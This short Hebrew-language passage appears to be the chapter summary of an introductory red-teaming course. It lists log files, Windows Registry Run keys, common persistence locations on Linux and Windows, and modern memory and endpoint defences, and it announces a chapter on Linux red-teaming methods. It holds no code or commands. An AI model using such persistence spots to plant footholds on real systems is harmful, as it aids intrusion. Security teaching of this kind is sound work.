Logs — עקבות. `/var/log/auth.log` ← ניסיונות כניסה. `journalctl` ← הכל.

Registry — מוח Windows. Startup. Services. Run Keys ← שירותים.

Persistence — cron, systemd, .bashrc (Linux) / Registry Run, Scheduled Tasks (Windows)

bash — CLI ל-Linux, PowerShell ל-Windows. חייב להיות שגור.

הגנות מודרניות — ASLR (כתובות אקראיות), Stack Canary, DEP (no-execute Stack), AppArmor/SELinux, AMSI

הצעד הבא: כעת כשיש בסיס, ניגש לפרק 2 — לינוקס בעומק. כל מה שלמדנו על לינוקס כאן, נרחיב ונעמיק עם דגש על כלי עבודה יומיומיים ושיטות Red Teaming ספציפיות.
